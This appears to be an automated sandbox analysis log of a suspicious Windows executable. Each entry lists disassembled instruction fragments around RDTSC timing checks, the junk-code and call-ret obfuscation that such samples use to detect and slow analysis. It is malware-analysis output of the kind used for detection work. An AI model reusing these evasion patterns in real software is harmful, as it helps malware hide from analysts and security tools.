Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2DAAB second address: F2DB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 nop 0x00000007 and bx, AD00h 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FF8BCD7C838h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 xor dword ptr [ebp+122D17E9h], edx 0x0000002e push 00000000h 0x00000030 mov edi, dword ptr [ebp+124547F8h] 0x00000036 xchg eax, esi 0x00000037 jc 00007FF8BCD7C842h 0x0000003d push ecx 0x0000003e jmp 00007FF8BCD7C83Ah 0x00000043 pop ecx 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FF8BCD7C844h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2DB0F second address: F2DB19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF8BD1A4C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2DC6C second address: F2DCF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF8BCD7C836h 0x0000000a popad 0x0000000b pop edx 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FF8BCD7C838h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov dword ptr [ebp+122D22A3h], ebx 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007FF8BCD7C838h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000016h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 mov bh, al 0x00000057 mov dword ptr [ebp+122D27D8h], edi 0x0000005d mov eax, dword ptr [ebp+122D01FDh] 0x00000063 xor bh, 0000000Fh 0x00000066 push FFFFFFFFh 0x00000068 mov edi, 5C4A2E53h 0x0000006d nop 0x0000006e push eax 0x0000006f push edx 0x00000070 push ebx 0x00000071 jnp 00007FF8BCD7C836h 0x00000077 pop ebx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2DCF2 second address: F2DD09 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8BD1A4C78h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FF8BD1A4C7Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2DD09 second address: F2DD0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F30B15 second address: F30B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F32BC3 second address: F32C0A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8BCD7C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+122D2903h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FF8BCD7C838h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f cld 0x00000030 push 00000000h 0x00000032 or dword ptr [ebp+122D17DEh], ebx 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e pop edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F32C0A second address: F32C38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jmp 00007FF8BD1A4C89h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F32C38 second address: F32C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BCD7C83Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F32C46 second address: F32C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F33C08 second address: F33C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F33C0E second address: F33CB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FF8BD1A4C78h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov ebx, ecx 0x0000002a push 00000000h 0x0000002c call 00007FF8BD1A4C84h 0x00000031 push edi 0x00000032 cmc 0x00000033 pop ebx 0x00000034 pop ebx 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007FF8BD1A4C78h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 mov edi, dword ptr [ebp+122D2983h] 0x00000057 jo 00007FF8BD1A4C7Ch 0x0000005d mov dword ptr [ebp+1244BA79h], eax 0x00000063 adc bx, 3D77h 0x00000068 push eax 0x00000069 push ecx 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FF8BD1A4C7Bh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F33CB5 second address: F33CB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2FBF4 second address: F2FBF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2FBF8 second address: F2FC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b mov ecx, dword ptr [ebp+122D2A6Bh] 0x00000011 mov dword ptr [ebp+122D1807h], ebx 0x00000017 popad 0x00000018 push dword ptr fs:[00000000h] 0x0000001f movsx edi, cx 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 mov dword ptr [ebp+122D1A9Fh], ecx 0x0000002f mov eax, dword ptr [ebp+122D08FDh] 0x00000035 mov ebx, dword ptr [ebp+122D296Fh] 0x0000003b push FFFFFFFFh 0x0000003d push 00000000h 0x0000003f push edx 0x00000040 call 00007FF8BCD7C838h 0x00000045 pop edx 0x00000046 mov dword ptr [esp+04h], edx 0x0000004a add dword ptr [esp+04h], 00000016h 0x00000052 inc edx 0x00000053 push edx 0x00000054 ret 0x00000055 pop edx 0x00000056 ret 0x00000057 jnl 00007FF8BCD7C83Bh 0x0000005d sub dword ptr [ebp+122D17F2h], edx 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push ecx 0x00000067 jmp 00007FF8BCD7C848h 0x0000006c pop ecx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2FC81 second address: F2FC86 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F32E1A second address: F32E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F32E20 second address: F32E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F32E2C second address: F32E32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F32E32 second address: F32E43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8BD1A4C7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F33EB3 second address: F33EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F33EB7 second address: F33EBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F3C52B second address: F3C544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8BCD7C842h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F3C544 second address: F3C55F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8BD1A4C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jc 00007FF8BD1A4C92h 0x00000011 jbe 00007FF8BD1A4C7Eh 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F3C6A8 second address: F3C6C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8BCD7C842h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F3C9C1 second address: F3C9C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EE5AD3 second address: EE5AD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F454D6 second address: F454DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F454DC second address: F454E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F454E0 second address: F45514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BD1A4C86h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push edx 0x00000011 pop edx 0x00000012 jng 00007FF8BD1A4C76h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jg 00007FF8BD1A4C76h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F45514 second address: F4551E instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8BCD7C836h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F4A23A second address: F4A283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007FF8BD1A4C78h 0x0000000e jmp 00007FF8BD1A4C7Bh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF8BD1A4C83h 0x0000001b pushad 0x0000001c jmp 00007FF8BD1A4C82h 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F4963F second address: F4964A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF8BCD7C836h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F4964A second address: F49654 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49654 second address: F49658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49658 second address: F49676 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8BD1A4C76h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 jnp 00007FF8BD1A4C76h 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a push ebx 0x0000001b push edx 0x0000001c pop edx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49676 second address: F4968F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF8BCD7C83Fh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F4968F second address: F49693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49815 second address: F49819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49AAA second address: F49AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49AAE second address: F49AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FF8BCD7C844h 0x0000000e jmp 00007FF8BCD7C843h 0x00000013 pop esi 0x00000014 pushad 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49AEA second address: F49AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49D75 second address: F49DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF8BCD7C836h 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jp 00007FF8BCD7C836h 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FF8BCD7C847h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49DA3 second address: F49DA8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49F05 second address: F49F0D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49F0D second address: F49F16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49F16 second address: F49F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F49F1C second address: F49F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF8BD1A4C76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F4A0BB second address: F4A0D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F4A0D0 second address: F4A0D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F4E842 second address: F4E854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BCD7C83Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F4E97D second address: F4E987 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8BD1A4C76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F4F13A second address: F4F13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F5367A second address: F53699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jnl 00007FF8BD1A4C76h 0x0000000c push eax 0x0000000d pop eax 0x0000000e jnl 00007FF8BD1A4C76h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jc 00007FF8BD1A4C76h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F53A83 second address: F53AAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C83Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FF8BCD7C849h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F53AAE second address: F53AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007FF8BD1A4C76h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F53C5F second address: F53C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BCD7C846h 0x00000009 popad 0x0000000a jc 00007FF8BCD7C848h 0x00000010 popad 0x00000011 pushad 0x00000012 push ebx 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F53C9C second address: F53CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EE5AA9 second address: EE5AD3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF8BCD7C83Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pushad 0x00000017 popad 0x00000018 push edx 0x00000019 pop edx 0x0000001a jl 00007FF8BCD7C836h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F54677 second address: F5467B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F5467B second address: F54694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 je 00007FF8BCD7C836h 0x0000000f pop edx 0x00000010 pushad 0x00000011 jnl 00007FF8BCD7C836h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F54694 second address: F5469C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F59424 second address: F5942E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F5942E second address: F5943C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FF8BD1A4C76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1C627 second address: F1C62D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1C8B7 second address: F1C8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BD1A4C84h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CA91 second address: F1CA9B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8BCD7C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CA9B second address: F1CAFA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a jmp 00007FF8BD1A4C80h 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jg 00007FF8BD1A4C87h 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007FF8BD1A4C89h 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jnc 00007FF8BD1A4C76h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CAFA second address: F1CB00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CB00 second address: F1CB0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF8BD1A4C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CC49 second address: F1CC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CC55 second address: F1CC5F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF8BD1A4C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CC5F second address: F1CC87 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF8BCD7C838h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d mov di, ax 0x00000010 nop 0x00000011 pushad 0x00000012 jl 00007FF8BCD7C843h 0x00000018 jmp 00007FF8BCD7C83Dh 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CE45 second address: F1CE49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1CE49 second address: F1CE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
